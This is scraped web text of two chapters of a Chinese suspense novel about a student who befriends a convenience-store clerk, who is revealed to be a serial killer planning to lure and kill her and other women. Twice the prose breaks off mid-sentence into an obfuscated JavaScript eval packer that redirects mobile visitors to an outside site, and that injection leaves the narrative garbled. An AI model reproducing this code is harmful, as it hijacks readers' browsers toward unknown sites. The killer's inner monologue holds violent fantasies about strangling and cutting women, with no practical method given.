《困鸟》 3. 姜柔 今天的雪下得格外大。 姜柔结束了素描课，一边顶着冷风走出写字楼，一边向同行的好友诉苦：“画画好难，我的透视和光影一团糟，完全不像你那么有天赋。” 陈幼宜走在她旁边笑：“因为我从小就在学啊，等你熬过新手期，也会越来越熟练的。” 两人相识多年，小时候是门对门的邻居，现在都在江城读大学，关系很好。 陈幼宜问：“等会儿你还要去便利店？” “嗯。这种天气，外卖员送餐也麻烦，不如直接去吃点热乎的。” “你上回不是说，和那里的店员认识了？他人怎么样？” 陈幼宜扫她一眼，瞥见姜柔松垮的围巾，停了脚步侧过身来，帮她整理：“围巾又乱了，不怕着凉吗？” “人挺好的。” 姜柔乖乖朝她一笑，仰起下巴，方便对方动作：“他话不多，很耐心——不知道那帮混混还会不会来找他麻烦，真过分。” “不管是混混还是那店员，全都不清楚底细。最近江城很乱，你单独在外面，切记安全是第一位，知道吗？” 陈幼宜和她念的不是同一所大学，系好围巾，捏捏姜柔的脸，柔声叮嘱：“暴雪天，早点回学校。” “知道啦。” 姜柔笑着点头：“你也注意安全。” 和往常无数次一样，她与陈幼宜挥手作别，走入夜色。 风大雪大，从素描班到便利店短短的一段路程，姜柔走得堪称艰难。 一进门，热气撞了满怀，她刚抬头，就和李怀舟四目相对。 对方的工作服熨帖平整，神态静默如雕塑，仿佛整个世界的慌乱，都被便利店结实的门窗隔绝在外。 而她头发乱得像鸟窝，融化的雪水顺着发丝往下淌，狼狈不堪。 自己现在的样子，一定糟糕透了。 姜柔低头，匆匆整理被风吹乱的长发，语速飞快：“外面风太大了……” 头发被雪水凝成几绺，越是梳理，越乱糟糟地翘起。 她苦恼万分。 李怀舟的嗓音从收银台方向传来，不大，但清晰：“天气预报说，近几天降温。” “这鬼天气。” 姜柔小声抱怨：“中午出门的时候，风就邪性得很。我本来想请假，但今天的课很重要……” 时间一分一秒过去，身体逐渐适应室内的温度，她深吸一口气，重新有了血液在血管里流淌的实感。 门外的风如野兽嘶嚎，一声声吹得人心慌，姜柔摸了把通红的鼻子，决定和李怀舟打商量：“我能待在这儿，等风小点再走吗？” 李怀舟没犹豫：“嗯。” 姜柔松了口气：“谢谢。” 她和李怀舟相处的次数屈指可数，哪怕见了面，两人的交流也绝不深入。 连日观察下来，这个独来独往的店员在她眼中愈发神秘古怪。 李怀舟无疑是孤僻的，客观来说，目前的工作很适合他—— 于他而言，独自一人整理货架、看守店面带来的舒适感，远大于社交。 有好几次，姜柔从他身上捕捉到若即若离的抵触，当她以为要被下逐客令，这抹戒备又无声无息消失不见，如同投入深潭的碎石，泛起几圈涟漪后，重回寂静。 而李怀舟会浅浅笑着，示意她继续说下去。 连续上了小半天的素描课，姜柔又累又饿，揉着发僵的手指在热食区徘徊，挑选填饱肚子的晚饭。 冷藏柜的光线映出各色包装，她看得眼花，心血来潮：“你应该知道，这儿什么吃的最受欢迎吧？能推荐一下吗？” “照烧鸡肉饭团，三明治，菠萝包，这三款卖得最多。” “这些都尝过了。” 目光一行行扫过架上的食物，姜柔扭头：“你呢？你最喜欢吃什么？” 这是个突破了店员与顾客身份的问题，撬开无形壁垒，把彼此的距离顷刻拉进。 李怀舟：“我？” 这回他没了平时的从容，像台接触不良的老式收音机，调试片刻才作答：“我吃饱就行，不在意味道。” “那也有偏爱的吧？” 便利店里沉寂了五六秒。 妥协似的，李怀舟坦白相告：“牛肉盖浇饭和炸鸡串。” 姜柔从善如流，买了这两样。 在冬天，被暴雪摧残后，一碗热腾腾的米饭最让人心情愉悦。 牛肉盖浇饭被放进微波炉加热，打开的瞬间咸香四溢，热雾蒸腾，裹住她睫毛。 姜柔坐在桌边咽下一口，米粒裹着肉汁在口中爆开，她由衷感叹：“这个好吃！” 李怀舟没做反应，影子投在玻璃窗上，融进铺天盖地的雪幕里，看不分明。 姜柔咬住勺子，好奇观察。 这人很瘦，眼里没什么光，黑沉沉的。 他的手和整个人一样修长羸瘦，屈指放在收银台上，血管微微凸起。 姜柔记得，第一次和李怀舟搭话的晚上，她曾无意间见过他的手腕，一道伤痕蛰伏在腕骨内侧，像皲裂的树皮。 伤口极长，呈现出陈旧的浅褐，这让姜柔情不自禁去想，它究竟是什么时候、因为什么留下的？ “怎么了？” 低沉的声线惊得她一顿，半勺米饭坠回碗中。 李怀舟不知何时支起身，漆黑的眼珠直直望着她。 姜柔凭空滋生了做坏事被抓包的错觉，一眨眼的慌乱后，强装镇定：“今天素描班的作业，是画一双手。” 李怀舟安静听她说。 “我是新手，太复杂的不会画，只能从人体部位逐个练习。” 姜柔颇为泄气：“但还是特别难。” 李怀舟笑了：“所以，你一直在看我的手？” 他问得直白，被戳破的窘迫让姜柔耳尖发烫，只得点头：“你的手，骨相很漂亮。” 被她夸赞，李怀舟反应淡淡，抬起右臂，随意看了看。 一只苍白的手，仔细端视，有好几道细碎的茧和疤。 “不如——” 电光石火，一个念头突兀闪过，姜柔鼓起勇气：“我反正要在这儿待到风停，能不能试试画你的手？” 李怀舟蹙眉：“画我？” “我一直抓不准肌肉走向，画得歪七扭八的。你只需要把手搭在台面，就当……帮我完成课后作业，可以吗？” 她两眼一眨不眨，目光里是不加掩饰的期冀，让人很难拒绝。 这不是个多么困难的请求，李怀舟松了口：“行。” 姜柔如愿以偿，从双肩包里抽出素描本和铅笔，靠近收银台。 李怀舟把手背平放在台上：“这样？” “姿势随意，你放松，不用紧张。” 姜柔笑道：“一次练习而已。” 李怀舟今天没露手腕，袖口规整，严谨地贴合腕骨，遮挡了衣物下狰狞的痕迹。 从姜柔的角度，只看见他修长的手指和略显粗糙的掌心，手掌横亘几道细长痕迹，像被什么东西划破过。 姜柔瞧了会儿，低头起笔：“我刚学素描，画技拙劣，你别抱期待。” 铅笔游走，耳边只剩摩擦纸张的沙沙声响，像春蚕啃食桑叶。正如姜柔所说，因她技艺不精，响声时断时续，难以勾勒流畅的线条。 李怀舟两手搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850107|175811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在收银台上，做不了别的，索性用闲聊打发时间：“你学了多久？” “两周左右。” 姜柔长叹口气：“我没什么天赋，学了十几天，进度还在原地打转。” “为什么来学素描？” 被姜柔用视线丈量的同时，李怀舟也在看她：“江大不上课？” “大四一整个学期，基本没课。” 她认真解释，下笔微滞，在纸上洇出个浅灰的圆点：“空闲时间太多了，我想学点儿什么。不瞒你说，我从小就对画画感兴趣，可惜艺术之神没眷顾我。” 说出这句自嘲，姜柔没多沮丧，反而笑了下：“我有个朋友天分很高，以前看她随随便便就画好一幅街景速写，我还以为这事非常容易呢——结果自己上手后，连线条都拉不直。” 李怀舟不善于安慰人，只道出一声：“多练练，会好的。” 姜柔扬眉：“借你吉言。” 她心情不错，手下的动作渐渐加快，虽然仍不熟练，但勉强描摹出了李怀舟双手的轮廓。 出于礼貌的边界感，即便心怀好奇，她也没问那些疤痕的由来。 空白的画纸一点点被填充，等最后一笔落下，铅笔已被掌温焐得微热。 姜柔把画反反复复看了好几遍，心满意足举起素描本，献宝般递到李怀舟面前：“看！” 她画技不精湛，胜在一笔一划都很用心。李怀舟望着纸上深浅不均的笔触，似是为难。 有这么差劲吗？ 姜柔不自信地蔫下去，还没开口，觑见他唇角蜻蜓点水的弧。 “很好。” 李怀舟轻轻对她说：“也许，你比想象中更有天赋。” 半悬的心脏安稳落下来。 姜柔赧然笑出声，连连摆手：“别别别，我受不住捧杀，会当真的。” 不知不觉，窗外雾气渐薄，呼啸一整天的北风终于倦怠。她看一眼手机时间，惊觉自己在便利店待了整整一个钟头。 姜柔没急着回家，想了想，转身走向货架：“稍等一下。” 来过太多次，她对便利店里的陈列了如指掌，没一会儿便快步回到收银台，手里多出个新的物件。 是一支薄荷绿的护手霜。 李怀舟习以为常地扫码，重复这个做过千百次的动作，毫无征兆听她道：“送你的。” 李怀舟没反应过来：“什么？” “礼物。” 姜柔说：“谢谢你愿意当我的模特。” 他没动。 “拿着吧。” 像第一次送他丸子串那样，姜柔将护手霜推向收银台里侧，附带几颗她常买的牛奶糖：“冬天这么冷，别着凉生冻疮。” 她没给对方拒绝的机会，把围巾裹在脖颈，拎起一旁的双肩包：“我走啦，你明天还是晚班吗？” 见李怀舟颔首，姜柔笑意加深：“明天见。” “——等等。” 一声低唤截住她离去的脚步，姜柔侧头回望。 逆着光，李怀舟的面庞有些模糊：“你带伞了么？” 姜柔摇头。 李怀舟抬臂，举起一把透明雨伞。 他肩线紧绷，看上去不太自在：“店里的备用伞，你可以用它挡风。” 这是……借给她的意思？ 姜柔一怔，接过那把伞，笑意从眼角亮晶晶溢出来：“谢谢。” 她迈出大门的步伐比往日更加轻快，伞面撑开漫天雪粒，像一朵绽放的花。 在感应门闭合之前，姜柔回过身提醒：“别忘了用护手霜哦。” 距离太远，隔着夜色，她看不清李怀舟晦暗的脸。 4.李怀舟 与姜柔相识后，李怀舟享受起猫抓老鼠的游戏。 在此前，他对社交往来嗤之以鼻，人与人之间浮于表面的寒暄、虚伪的客套、带有目的性的接近，都让他觉得乏味又吵闹。 姜柔的出现，是个例外。 倒不是李怀舟对她产生了多么温情的亲近感，而是因为，他不再把姜柔看作一个“人”—— 在他眼里，她成为一只鲜活的、充满挑战性的、被他玩于股掌之上的猎物。 有趣多了，不是吗？ 这天晚上，姜柔站在收银台边，笨拙描画他的手，铅笔沙沙响个没停，她的眉头时而微蹙，时而舒展，全神贯注。 同一时刻，李怀舟垂下头，几乎克制不住想笑的冲动。 姜柔如此认真地观察着他的一部分，殊不知，她自己正在被李怀舟更仔细地记录，从习惯、喜好到恐惧，无一遗漏。 她更不会想到，这双与她咫尺之隔的手杀过人藏过尸，无数遍沾满过眼泪和鲜血，李怀舟费尽心思才清理干净，确保不被人发现端倪。 姜柔还说，“骨相很漂亮”。 像误闯狼窝的鹿，对即将到来的死亡一无所知，反倒去蹭掠食者的獠牙。 临走时，她送来护手霜和几颗糖果。 护手霜。 姜柔居然在担心他的手会不会冻伤—— 一双将用来结束她生命的手。 李怀舟细细品味这份荒诞的黑色幽默，在她踏入风雪前，递出一把雨伞。 他的本意，不是出于关心。 这是李怀舟放下的饵。 借伞，意味着一个合理的归还理由。 也就是说，姜柔还会再来，主动地、必然地回到他的视野，被他又一次掌控。 李怀舟喜欢俯瞰全局的感觉。 一天匆匆而过，今晚他上的仍是夜班，八点钟左右，姜柔准时迈进便利店大门。 她心情上佳，进门后直冲冲往收银台走，眉间的欣喜一览无余：“昨天的画被老师夸了，说进步很大。” 李怀舟：“恭喜。” 带有浅笑的两个字，是他为这场对话贡献的全部热情。 “要多谢你——对了，还有你的伞。” 姜柔把伞完好归还，顺口问他：“护手霜你用了吗？感觉怎么样？” 护手霜？ 李怀舟想起那抹薄荷绿。 他的确在好好地用，慢条斯理、极其仔细，把护手霜涂抹在每一根手指、每一个指节、每一道或新或旧的疤痕上。 这样一来，等他日后掐上姜柔脖子、捂紧她口鼻，说不定，她能闻到熟悉的香气。 这话不可能当面说，李怀舟清楚，怎样才是应有的反应。 让笑意轻微堆起，像腼腆也像感激：“用了，味道很好闻，谢谢你。” 他说着，右手越过收银台，递给姜柔一杯热气腾腾的牛奶。 “给你的。” 李怀舟：“驱寒。” 姜柔满脸不可思议：“给我——？” “嗯，不用钱。” 得了肯定的答复，姜柔这才捧起杯子，受宠若惊道一声谢。 她被冻得手指发红，迫不及待仰头喝下，出乎意料，皱了下眉。 李怀舟：“太甜？” 他记得姜柔常买糖果，特意加了不少白砂糖。 “不是。” 姜柔咽下嘴里的牛奶：“味道很好，我喝太多，被烫到了。” 天真，冲动，毫无防备。 李怀舟维持着不变的面部表情，看她顺着杯沿吹气，等牛奶不再滚烫，咕咚饮下满满一大口。 暖意沿食道进入四肢百骸，姜柔餍足喟叹：“真好。外面冷飕飕的，喝点热的，整个人都像重新活过来了。” 她一边喝，一边闲聊：“昨晚我回学校时又刮了风，像鬼哭狼嚎，多亏有你给的那把伞——要不然，恐怕我也像室友一样，因为高烧不退去医院挂号了。” 姜柔看向他，语气多出关切：“你下班的时候呢？冷吗？” “还好。” 李怀舟道：“我早上才下班，比夜里暖和些。” 两人言尽于此，姜柔饿着肚子饥肠辘辘，喝完牛奶，去了熟食区。 李怀舟闷不做声，等她完全背过身，才放任视线掠过那段纤细的颈项。 像雪地里即将折断的芦苇杆。 忽地，店门大开，伴随一道熟悉的跋扈男音：“喂，给老子拿最贵的烟。” 是那群常来寻衅惹事的混混。 李怀舟面色骤沉。 “老子和你说话，没听到？” 带头的黄毛嘴里叼了根烟，不耐烦地猛踢一脚，把货架踹出刺耳锐响。 李怀舟闻到弥漫在空气里的酒味。 这是个不祥的预兆，醉酒后的人暴躁易怒，很有可能丧失理智。 他不想惹上没必要的麻烦，招来警察。 黄毛身旁的寸头小弟比他多了自知之明，一把拉住黄毛袖口：“哥，你别激动。我知道你今天心情不好，咱消消气，回家再说。” 不料黄毛脸色更差，拔高嗓门：“消气？我消什么气？我没醉！” 小弟尴尬赔笑：“是是是，你没醉，清醒得很。” “还有你。” 黄毛瞥向李怀舟：“老子要的烟呢？” 面对他们，李怀舟连装模作样也不屑，拿出一包烟：“请扫码付款。” 也许是被他的淡漠所激怒，又或是积怨已久突然爆发，醉醺醺的黄毛用了半晌来理解李怀舟的意思，沉默过后，像一座爆发的火山：“拽什么拽？” 他的怒火来得猝不及防，竟疾步冲向收银台，咬牙切齿去拽李怀舟衣领，布满血丝的眼睛快要瞪出眼眶：“每回都是这副要死不活的德行……你是不是也看不起老子？” 小弟们被吓了一跳，慌慌张张试图劝解。 李怀舟面不改色，刚要去扣黄毛手腕，余光里，一道白光闪过。 ——是姜柔。 她高举的手机正在录像，镜头精准框住黄毛扭曲的面孔。 “派出所离这儿不远。” 姜柔声线紧绷，有如拉满的弓弦，李怀舟捕捉到她的战栗：“你们闹事的话，我就报警了。” 仔细去看，她的身体也在发颤。 李怀舟的思维短暂卡了顿。 从这几天的接触里，他把姜柔的性格摸透了七八分。 友善，无害，轻信外人，一个在温室里长大、没被恶意侵蚀过的女人。 毋庸置疑，面对醉鬼闹事，她心中的恐惧远甚于正义感。 在怕到发抖的状态下，姜柔选择上前一步帮李怀舟解围。 这让他有了种说不清道不明的古怪情绪，异样的滞涩感卡在胸腔，上不去也下不来。 气氛剑拔弩张，黄毛被姜柔一句话惹恼，额头暴起青筋：“臭娘们，多管闲事！” 小弟们死死箍住他胳膊，拼命往回拉：“哥，冷静，这女的在录像！” 喝醉的街头混混像只发疯的狼，姜柔被他吼得后退两步，脸色煞白。 她吓了个够呛，为了显得更有气势，努力挺直脊背：“你们以后别来找麻烦。有这个视频在，我随时可以叫警察来。” 有个小弟骂了声脏话。 他们没醉，分得清什么该做什么不该做，对姜柔再不满，也只能吞下哑巴亏，好声好气地劝黄毛：“哥，你喝多了，我们先回去。什么？要烟？行行行——” 小弟瞪了眼李怀舟：“结账！这包烟多少钱？” 李怀舟如实报价。 黄毛骂骂咧咧，被几个小弟强行搀扶离开。 没了争执怒骂的声响，店内归于沉寂，只余几缕暴戾的酒气。 姜柔总算卸下强装的从容，心有余悸靠向一边，后背抵在距离最近的金属货柜。 “吓死我了……” 她拍拍胸口，脸上是劫后余生的庆幸和疲惫：“你还好吗？” 李怀舟神色莫名，答非所问：“你不该管这件事。” “为什么不该？” 姜柔不假思索：“录一个视频就可以解决，我总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854216|175811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能装没看见吧？” 她语调平常，仿佛为了他与混混对峙，只是理所当然的一件事。 李怀舟避开她的注视，没再多言。 结束了这个突如其来的插曲，之后的一切，与往常无异。 姜柔买好熟食，在便利店吃完，离开前宽慰他几句，又认真叮嘱：“视频我先存着，他们如果再来，就去报警——你一个人不习惯的话，我可以陪你，行吗？” 李怀舟腼腆笑笑：“好，谢谢。” 与之前不同的是，收款结账后，他把几片暖宝宝塞进姜柔掌心：“保暖用，这几天降温。” 作为感谢，也是示好。 姜柔两眼弯弯地道谢，笑着说了“再见”，李怀舟遥望她走远，影子孤零零钉在原地。 他始终在想，姜柔为什么要帮他？ 独来独往惯了，当姜柔主动站出来的那刻，李怀舟第一反应是意外、警觉，和因局势超出掌控的错愕。 随即而来的，是一股陌生情绪，不浓烈也不鲜明，像被羽毛搔过，黏腻的痒意让他颈后寒毛根根竖起。 起初，李怀舟无法分辨它所代表的含义，这时一个人默默思考，他终于想通。 那种感觉是恶心。 姜柔在想什么？目睹他被混混闹事的全过程，她是不是同情他、看不起他、觉得他需要她的“拯救”？ 她表面关怀体贴，心里一定认为，他是个不敢反抗的软骨头，对不对？ 要不是因为会被警方盯上，他早就把刀捅进那帮混混的心脏里了。 李怀舟抿紧唇，右手探进外套口袋，触碰到冰凉的玉质珠串。 受害者们的遗物，被他像战利品一样随身携带。 指腹拂过一个个圆珠，李怀舟细致感受着，分辨出凝固在玉上的斑驳血痕。 他想起姜柔微笑时熠熠发亮的双眼，想起她低头时温静的侧脸，也想起她与混混对峙，为了不显得矮人一头，冷着脸把下颌抬高。 那么纯净，那么无畏，那么明亮。 ——但凭什么？ 凭什么痛苦不曾降临在她身上？凭什么她生活得富足无忧？凭什么，她可以居高临下地可怜他？ 幸福活着的姜柔，把他衬托得像只阴沟里的老鼠。 他就该剖开那具温热的皮囊，看看被刀尖抵上咽喉，她还能不能向他投来怜悯的目光。 熟悉的兴奋感在体内叫嚣，是残虐和杀戮的欲望。 李怀舟轻舔干涩的下唇，点开手机日历。 距离他上次犯案，已过去很多天。 经由这段日子的交谈，他知晓了姜柔的生活轨迹，每天江大、素描班和便利店三点一线，难以找到对她动手的时机。 唯一的方式，是先和姜柔拉近关系，再邀约她前往某个人迹罕至的地点。 这需要耗费点儿时间，好在对于全新的、趣味横生的杀人游戏，李怀舟有足够的耐心。 更何况，在逐渐接近她、一步步引她进入陷阱的日子里…… 感应门忽然打开，三个年轻女孩叽叽喳喳走进店内，青春洋溢，笑声清脆，好似林间偶然飞落的鸟群。 李怀舟的目光悄无声息。 第一个，个子瘦弱，戴了圆框眼镜，声线小而细。 像只麻雀，翅膀短小，羽毛蓬松，好处是骨骼轻巧，处理起来干净利落。 第二个，身材高挑，长发及腰，眼底有不易察觉的倨傲。 天鹅。 李怀舟在心里做出判断，姿态优雅，脖颈修长，最适合被拧断脆弱的颈骨。 第三个，卷发扎成丸子头，最活泼，笑声最大。 犹如聒噪的、色彩斑斓的虎皮鹦鹉，精力旺盛，喋喋不休，该怎样让她的嘴永远闭上？用胶带？用绳索？或者更直接一点，割破喉咙？ 李怀舟收回视线，唇角翘起几不可见的弧。 等待姜柔上钩的间隙，去杀几个别的女人解解闷吧。 很快，就轮到他值白班，能在夜里寻找新的猎物了。 这一次，被他锁进地下室的，会是谁呢？